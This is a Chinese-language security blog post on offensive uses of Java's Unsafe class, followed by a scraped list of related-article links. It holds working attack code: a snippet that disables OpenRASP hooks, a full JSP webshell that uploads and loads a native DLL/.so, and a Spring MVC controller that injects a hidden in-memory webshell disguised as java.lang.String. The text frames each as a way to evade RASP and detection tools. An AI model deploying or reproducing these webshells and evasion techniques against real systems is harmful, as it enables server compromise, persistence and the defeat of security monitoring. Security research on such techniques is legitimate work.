Java中的Unsafe在安全领域的一些应用总结和复现
0 前言
unsafe里面有很多好用的方法,比如allocateInstance可以直接创建实例对象,defineAnonymousClass可以创建一个VM匿名类(VM Anonymous Class),以及直接从内存级别修改对象的值。
1 基本使用
首先是获取Unsafe对象,一般使用反射获取Unsafe,否则会被Java安全机制拦截,代码如下
public static Unsafe getUnsafe() throws Exception{
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
return unsafe;
}
1.1 内存级别修改值
这里首先要提到的是,在jvm中,对实例的Field进行了有规律的存储,具体可见JVM相关知识,而通过一个偏移量可以从内存中找到相应的Field值。在Unsafe中获取偏移量的方法是staticFieldOffset(Field var1)和objectFieldOffset(Field var1)这两个方法,输入一个Field对象后,会返回该Field在其相应的类中的内存偏移量是多少。通过获得的偏移量可进一步调用putInt、putLong、putObject等方法对实例的field进行修改。
例如:
package com.bitterz.unsafe;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class UnsafeTest {
private int a = 1;
private String string = "whoami";
public UnsafeTest(){}
public void test(){ }
public static void main(String[] args) throws Exception {
Unsafe unsafe = getUnsafe();
UnsafeTest unsafeTest = new UnsafeTest();
// 修改int
Field f = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("a");
long l = unsafe.objectFieldOffset(f);
unsafe.putInt(unsafeTest, l, 9999);
System.out.println(unsafeTest.a);
// 修改string
Field f2 = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("string");
long l2 = unsafe.objectFieldOffset(f2);
unsafe.putObject(unsafeTest, l2, "bitterz");
System.out.println(unsafeTest.string);
}
public static Unsafe getUnsafe() throws Exception{
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
return unsafe;
}
}
其输出结果为
但对final和static修饰的field这种修改方法无效。另外还可以通过偏移量使用getInt()、getObject()等方法获取实例的field值,这种方法也可以作为反射被限制时的一种绕过。
1.2 创建对象
Unsafe中有个allocateInstance方法,可以无视构造方法,直接利用类对象构建实例,这种方法往往能够减少反射创建实例时可能遇到的各种阻碍,比如类的依赖关系。
比如前面创建Unsafe时使用了反射,不能直接进行创建,那么可以使用unsafe进行创建(只是为了演示。。)
1.3 创建VM Anonymous Class
VM Anonymous Class并不等同于匿名类,这种类具有以下几个特点(摘自https://paper.seebug.org/1785):
1、class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。 ---将会使类名极具欺骗性
2、该class的classloader为null。 ---在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性
使用方法如下
defineAnonymousClass方法的第一个参数随便传入一个类对象即可,第二个参数需要传入一个类的字节码,这里使用javassist简单一点。第三个参数设置为null即可。
执行后得到一个类对象,通过newInstance获取实例,再调用了匿名类的toString方法,弹个计算器。而后输出匿名类的类名和Unsafe的类名进行对比,可见,用defineAnonymousClass创建的类名后面,会有"/xxxxxxxx",这里也算一个特征,但通过Class.forName是无法获取到这个类的,所以下面报错了。
用attach的方式,看看对该类的检测,之前写过rasp相关的笔记,所以直接拿过来用
transform里面拿到到该类后,直接报错了,看了一下报错日志,实际上就是在transform中返回字节码时出问题了,因为前面也说了在部分jdk中,VM AnonymousClass是不能被retransform的,我这里用的是jdk1.8u40。但是直接结束程序有点不太好,例如插入内存马后,目标使用attach机制来扫描jvm中加载的类,此时直接导致Web程序崩溃,业务不得提刀来杀安全:) 这个点用于内存马可能要慎重一下。
2 利用姿势
2.1 修改值以关闭RASP等防御措施
前面提到了,通过Unsafe可以直接修改值,因此在遇到目标有RASP得情况下,可以考虑修改RASP的开关;
try {
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
} catch (Exception e) {
}
或者使用rebeyond师傅提到的方法,手动构建insturmentation对象,然后对执行命令的类去掉RASP插桩代码。
2.2 创建NativeLibrary对象实现webshell
这里的思路来自于SummerSec师傅的文章,通过java.lang.ClassLoader$NativeLibrary#load(String, Boolean)
方法,加载一个dll文件,而dll文件中可以实现各种攻击手段,例如上传了一个jsp文件,只用于加载dll,而不同的dll实现了内网穿透、反弹Shell、木马和执行命令等功能,攻击时上传对应dll文件即可。
借鉴https://github.com/SummerSec/Loader/blob/main/AddDllDemo.jsp ,又稍微改了一下代码,把上传文件和加载dll融合到了一个jsp里面
<%@page pageEncoding="utf-8"%>
<input type="file" id="fielinput" />
<img id="txshow" style="width:100px;height:100px;"/>
<br/>解析之后的base64数据:<br/>
<p id="data"></p>
<head>
<meta charset="utf-8">
</head>
<form action="http://127.0.0.1:8080/test/AddDllDemo.jsp" method="POST">
<input type="text" style="width:1300px;height:100px;font-size:30px" name="p"/>
<input type="submit" value="提交"/>
</form>
<script type="text/javascript">
var input = document.getElementById("fielinput");
input.addEventListener('change', readFile, false);
function readFile() {
var file = this.files[0];
var reader = new FileReader(); // 返回一个新的FileReader函数
reader.readAsDataURL(file);
reader.onload = function (e) {
txshow.src = this.result;
document.getElementById("data").innerText=this.result.substring(this.result.indexOf(',')+1);
}
}
</script>>
<%
if(request.getMethod().equals("GET")){
}else{
String p = request.getParameter("p");
String t = request.getServletContext().getRealPath("/");
java.io.PrintWriter outp = response.getWriter();
outp.println("WebRootPath:");
outp.println(t);
t = request.getServletPath();
outp.println("ServletPath:");
outp.println(t);
t = (new java.io.File(".").getAbsolutePath());
outp.println("WebServerPath:");
outp.println(t);
java.util.Random random = new java.util.Random(System.currentTimeMillis());
outp.println("if Dynamic Link Library will be auto load in uploading !!!");
t = System.getProperty("os.name").toLowerCase();
if (t.contains("windows")) {
t = "C:/Windows/temp/dm" + random.nextInt(10000000) + "1.dll";
}else {
t = "/tmp/dm" + random.nextInt(10000000) + "1.so";
}
if (p != null) {
try {
java.io.FileOutputStream fos = new java.io.FileOutputStream(new java.io.File(t));
fos.write(D(p));
fos.close();
N(t);
outp.println("Dynamic Link Library is uploaded, and the path is: " + t);
outp.println("load uploaded success !!!");
} catch (Exception e) {
outp.println(e.getMessage());
}
}
outp.flush();
outp.close();
}
%>
<%!
private void N(String t) throws Exception {
Object o;
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
try {
java.lang.reflect.Constructor c = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
c.setAccessible(true);
o = c.newInstance(Class.class,t,true);
}catch (Exception e){
Class u = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Constructor<?> c = u.getDeclaredConstructor();
c.setAccessible(true);
sun.misc.Unsafe un = (sun.misc.Unsafe)c.newInstance();
o = un.allocateInstance(a);
}
java.lang.reflect.Method method = o.getClass().getDeclaredMethod("load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(o, t, false);
}
private byte[] D(String p) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])(clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), p));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[])(decoder.getClass().getMethod("decode", String.class).invoke(decoder, p));
}
}
%>
浏览器访问AddDllDemo.jsp后,选择dll文件,并复制base64值到文本框中,点击提交
成功弹出计算器
使用Unsafe去创建NativeLibrary的有点在于可以减少在java层面的调用,直接一个load方法就能实现native层面的代码执行,可以绕过RASP或终端软件对webshell的查杀,以及java层面执行命令时被拦截的可能。
目前这种做法有个缺点在于DLL文件必须落地,显然落地就有可能被文件监控察觉到。另外实现这种做法的还有ClassLoader#loadLibrary
和ClassLoader#loadLibrary0
,利用反射即可实现不再赘述。期待大师傅们搞出无文件落地的姿势!
2.3 匿名的内存马
前面提到了使用Unsafe.defineAnonymousClass方法可以创建一个VM Anonymous Class,基于其各种特点,可以让内存马隐藏的更深
在springmvc中,插入servlet内存马时,只需要传入方法名和恶意类的实例对象,刚好适合这种Anonymous Class,pom.xml设置如下
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-test</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
在spring_mvc中写个controller来注入,示例代码如下:
@ResponseBody
@RequestMapping(value = "/index", method = RequestMethod.GET)
public String index(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 准备unsafe和匿名类
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("java.lang.String");
CtMethod toString = CtMethod.make("public String toString(){java.lang.Runtime.getRuntime().exec(\"calc\");return null;}", ctClass);
toString.setName("toString");
ctClass.addMethod(toString);
byte[] bytes = ctClass.toBytecode();
Class<?> anonymousClass = unsafe.defineAnonymousClass(File.class, bytes, null);
// 插入内存马
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
String injectUrlPath = "/malicious"; // 插入的url
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if (injectUrlPath.equals(urlPath)){
System.out.println("URL已存在");
return "exist";
}
}
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method2 = InjectAnonymousClass.class.getMethod("toString");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition(injectUrlPath);
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// InjectAnonymousClass InjectAnonymousClass = new InjectAnonymousClass("aaa");
Object o = anonymousClass.newInstance();
mappingHandlerMapping.registerMapping(info, o, method2);
return "injected!"; // 这里根据注解会自动返回index.html
}
启动项目,然后访问该controller对应的url,结果如下
注入成功,访问/malicious
由于恶意代码里面只写了弹计算器,并没有写返回语句,所以tomcat寻找malicious.jsp会返回404。调试模式下看一下对该url的描述
只有在beanType处显示类名为java.lang.String/179284069
,其它地方都显示为java.lang.String
。匿名类的类名又可以随意设置,所以稍加修饰即可以假乱真,比如先拿到org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry
,遍历其中,随便找一个controller的类名和方法名,然后回显一下,再给恶意类写个一样的package和方法名,url则根据Web应用的规律自己编一个,这样的话,还是能够欺骗到根据package和方法名判断的检测方法,另外VM Anonymous Class没办法获取到字节码,所以也能逃过一劫。
2.4 shellcode和instrumentation对象构建
Unsafe类还能对内存进行操作,在rebeyond师傅的文章-java内存攻击技术漫谈中有大量应用,最终可以通过内存级别的操作,直接构建instrumentation对象进而修改jvm中的java代码;或者执行shellcode,从而绕过RASP实现命令执行、文件读写等操作。
3 总结
Unsafe在java攻击层面属实非常有用,而其正常使用也非常广泛,例如gson反序列化时,直接使用allocateInstance创建对象,无视构造函数的复杂。Unsafe还有很多其它功能,不够安全人员可能用的比较少,我也借用一下这张传的最广泛的图:)
参考:
https://tttang.com/archive/1436/
https://www.cnblogs.com/rebeyond/p/15162264.html
Java中的Unsafe在安全领域的一些应用总结和复现的更多相关文章
- Java中的Unsafe类111
1.Unsafe类介绍 Unsafe类是在sun.misc包下,不属于Java标准.但是很多Java的基础类库,包括一些被广泛使用的高性能开发库都是基于Unsafe类开发的,比如Netty.Hadoo ...
- Java中的Unsafe
在阅读AtomicInteger的源码时,看到了这个类:sum.msic.Unsafe,之前从没见过.所以花了点时间google了一下. Unsafe的源码:http://www.docjar.com ...
- 关于java中的锁(转)
对于锁一直处于比较模糊的状态,最近一天晚上偶然想看看,就翻了几本书,然后弄明白了一些概念,有一些仍然没明白,例如AQS,先把搞明白的记录一下吧. 什么是线程安全? 当多个线程访问一个对象时,如果不用考 ...
- 【Java并发】Java中的原子操作类
综述 JDK从1.5开始提供了java.util.concurrent.atomic包. 通过包中的原子操作类能够线程安全地更新一个变量. 包含4种类型的原子更新方式:基本类型.数组.引用.对象中字段 ...
- 从同步原语看非阻塞同步以及Java中的应用
非阻塞同步:基于冲突检测的乐观并发策略,通俗讲就是先进行操作,如果没有其他线程争用共享数据,那操作就成功了,如果争用数据有冲突那就采用其他的补偿措施(最常见的就是不断重试直到成功),这种乐观的并发策略 ...
- 【实战Java高并发程序设计 1】Java中的指针:Unsafe类
是<实战Java高并发程序设计>第4章的几点. 如果你对技术有着不折不挠的追求,应该还会特别在意incrementAndGet() 方法中compareAndSet()的实现.现在,就让我 ...
- Java中Unsafe类详解
http://www.cnblogs.com/mickole/articles/3757278.html Java不能直接访问操作系统底层,而是通过本地方法来访问.Unsafe类提供了硬件级别的原子操 ...
- 【Java深入研究】8、Java中Unsafe类详解
java不能直接访问操作系统底层,而是通过本地方法来访问.Unsafe类提供了硬件级别的原子操作,主要提供了以下功能: 1.通过Unsafe类可以分配内存,可以释放内存: 类中提供的3个本地方法all ...
- [java] java 中Unsafe类学习
java不能直接访问操作系统底层,而是通过本地方法来访问.Unsafe类提供了硬件级别的原子操作,主要提供了以下功能: 1.通过Unsafe类可以分配内存,可以释放内存: 类中提供的3个本地方法all ...
随机推荐
- Solon Web 开发,十三、WebSocket
Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...
- manjaro20夜灯夜间模式开关
- Docker 与 K8S学习笔记(十八)—— Pod的使用
Pod 是一组紧密关联的容器集合,它们共享IPC.Network和UTS namespace,是 Kubernetes 调度的基本单元.Pod 的设计理念是支持多个容器在一个 Pod 中共享网络和文件 ...
- golang中字符串的底层实现原理和常见功能
1. 字符串的底层实现原理 package main import ( "fmt" "strconv" "unicode/utf8" ) f ...
- java多态概述特点转型I
1 package face_09; 2 3 import com.sun.jdi.Method; 4 5 /* 6 * 对象的多态性. 7 * class 动物 8 * {} 9 * 10 * cl ...
- macOS Monterey 12.12.2 (21D49) 正式版 ISO、IPSW、PKG 下载
本站下载的 macOS Monterey 软件包,既可以拖拽到 Applications(应用程序)下直接安装,也可以制作启动 U 盘安装,或者在虚拟机中启动安装. 2022 年 1 月 27 日,m ...
- CSS之单行、多行文本溢出显示省略号
单行文本溢出显示省略号: overflow: hidden text-overflow: ellipsis white-space: nowrap 多行文本溢出 display: -webkit-bo ...
- springboot实战小项目-简要介绍、vue项目创建
因为菜,所以要好好学习! 一.项目介绍:这是一个后台管理系统,准备实现的功能: 1.登录.注册.个人信息查看.退出登录 2.根据关键字查询用户.新增用户.根据id或者其他字段排序.编辑用户信息.删除用 ...
- 使用JMX Exporter监控Rainbond上的Java应用
场景 Prometheus 社区开发了 JMX Exporter 用于导出 JVM 的监控指标,以便使用 Prometheus 来采集监控数据.当您的 Java 应用部署在Rainbond上后 可通过 ...
- Java协变、逆变、类型擦除
协变.逆变 定义 Java中String类型是继承自Object的,姑且记做String ≦ Object,表示String是Object的子类型,String的对象可以赋给Object的对象.而Ob ...